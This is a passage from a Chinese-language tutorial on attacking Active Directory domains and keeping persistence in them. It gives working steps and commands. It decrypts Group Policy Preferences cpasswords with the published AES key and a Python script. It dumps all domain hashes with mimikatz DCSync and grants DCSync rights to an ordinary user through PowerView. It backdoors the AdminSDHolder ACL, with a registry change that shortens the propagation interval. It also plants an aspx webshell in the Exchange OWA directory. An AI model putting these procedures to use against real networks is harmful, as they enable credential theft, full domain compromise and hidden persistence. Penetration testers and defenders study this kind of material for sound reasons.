更新,administrator(內置),設置密碼

ad域 跨vlan_Server_122

委派,設置權限

在詳細一欄,可看到該策略對應的ID為{05F24259-49D8-481A-8408-567DC3155838}

ad域 跨vlan_sql_123

組策略配置完成,域內主機重新登錄,即可應用此策略

在對應的文件夾下能找到配置文件Groups.xml,具體路徑如下:



\\0day.org\SYSVOL\0day.org\Policies\{05F24259-49D8-481A-8408-567DC3155838}\User\Preferences\Groups



Groups.xml內容如下:



<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="Administrator (內置)" image="2" changed="2019-09-11 08:29:51" uid="{32DED100-2B0D-41CB-8341-F5FBCF77FE13}"><Properties action="U" newName="" fullName="" description="" cpassword="Hd/xxCN9bFRTj8C2az+0t3el0u3Dn68pZ1Sd4IHmbPw" changeLogon="0" noChange="0" neverExpires="1" acctDisabled="0" subAuthority="RID_ADMIN" userName="Administrator (內置)"/></User>
</Groups>



cpassword項,保存的是加密後的內容"Hd/xxCN9bFRTj8C2az+0t3el0u3Dn68pZ1Sd4IHmbPw"

加密方式為AES 256,雖然目前AES 256很難被攻破,但是微軟選擇公開了該AES 256加密的私鑰,地址如下:

[MS-GPPREF]: Password Encryption | Microsoft Docs

藉助該私鑰,我們就能還原出明文

採用Chris Campbell @obscuresec開源的powershell腳本,地址如下:

https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1

該腳本可在域內主機上執行,能夠自動查詢共享文件夾\SYSVOL中的文件。

也可以利用如下代碼進行解密



#!/usr/bin/python
import sys
from Crypto.Cipher import AES
from base64 import b64decode

if(len(sys.argv) != 2):
  print "decrypt.py <cpassword>"
  sys.exit(0)

key = """4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b""".decode('hex')
cpassword = sys.argv[1]
cpassword += "=" * ((4 - len(cpassword) % 4) % 4)
password = b64decode(cpassword)
out = AES.new(key, AES.MODE_CBC, "\x00" * 16)
out = out.decrypt(password)
print out[:-ord(out[-1])].decode('utf16')



ad域 跨vlan_Server_124

通過Group Policy Management Console (GPMC) 實現計劃任務的遠程執行

同上創建GPO,在計劃任務中添加。

ad域 跨vlan_sql_125

第四個任務選項會在每次組策略刷新時執行。

四種計劃任務的區別可參考官方文檔:

Scheduled Tasks Extension | Microsoft Docs

ad域 跨vlan_安全_126

對於域內的主機,可以等待90分鐘使組策略自動更新,也可以在客户端執行如下命令強制刷新組策略:



gpupdate /force



7.DCSync

利用DCSync導出域內所有用户hash的方法

利用條件:

獲得以下任一用户的權限:

  • Administrators組內的用户
  • Domain Admins組內的用户
  • Enterprise Admins組內的用户
  • 域控制器的計算機帳户

導出域內所有用户的hash:



mimikatz.exe privilege::debug "lsadump::dcsync /domain:rootkit.org /all /csv" exit



ad域 跨vlan_用户名_127

8.利用DCSync在域內維持權限的方法

利用條件:

獲得以下任一用户的權限:

  • Domain Admins組內的用户
  • Enterprise Admins組內的用户

利用原理:

向域內的一個普通用户添加如下三條ACE(Access Control Entries):

  • DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
  • DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
  • DS-Replication-Get-Changes(GUID:89e95b76-444d-4c62-991a-0facbeda640c)

該用户即可獲得利用DCSync導出域內所有用户hash的權限。

Windows系統中的ACL(Access Control List),用來表示用户(組)權限的列表。

利用方法:

利用PowerView.ps1,添加ACE的命令如下:



Add-DomainObjectAcl -TargetIdentity "DC=0day,DC=org" -PrincipalIdentity webadmin -Rights DCSync -Verbose



ad域 跨vlan_sql_128

刪除ACE的命令:



Remove-DomainObjectAcl -TargetIdentity "DC=0day,DC=org" -PrincipalIdentity webadmin -Rights DCSync -Verbose



在域內一台登錄了sqladmin用户的主機上面,就能使用mimikatz的DCSync功能



mimikatz.exe privilege::debug "lsadump::dcsync /domain:0day.org /all /csv" exit



ad域 跨vlan_sql_129

9.AdminSDHolder

AdminSDHolder是一個特殊的AD容器,具有一些默認安全權限,用作受保護的AD賬户和組的模板

Active Directory將採用AdminSDHolder對象的ACL並定期將其應用於所有受保護的AD賬户和組,以防止意外和無意的修改並確保對這些對象的訪問是安全的

如果能夠修改AdminSDHolder對象的ACL,那麼修改的權限將自動應用於所有受保護的AD賬户和組,這可以作為一個域環境權限維持的方法

向AdminSDHolder對象添加ACL

使用PowerView,添加用户dbadmin 的完全訪問權限



Add-ObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=rootkit,DC=org"  -PrincipalIdentity dbadmin -Verbose -Rights All



ad域 跨vlan_ad域 跨vlan_130

默認等待60分鐘以後,dbadmin獲得對所有受保護的AD賬户和組的完全訪問權限

可以通過修改註冊表的方式設置權限推送的間隔時間,註冊表位置如下:

  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters,AdminSDProtectFrequency,REG_DWORD

例如修改成等待60秒的命令如下:



reg add hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency /t REG_DWORD /d 60



ad域 跨vlan_ad域 跨vlan_131

dbadmin用户可以直接訪問域控。

ad域 跨vlan_用户名_132

刪除AdminSDHolder中指定用户的ACL

刪除用户dbadmin的完全訪問權限,命令如下



Remove-DomainObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=rookit,DC=org" -PrincipalIdentity dbadmin -Rights All -Verbose



非常規方法

若域控主機為owa主機,即exchange服務器主機,我們可以在owa目錄下留一個aspx的木馬。用作維持權限。

在如下目錄中加入一個aspx木馬。



C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth



ad域 跨vlan_ad域 跨vlan_133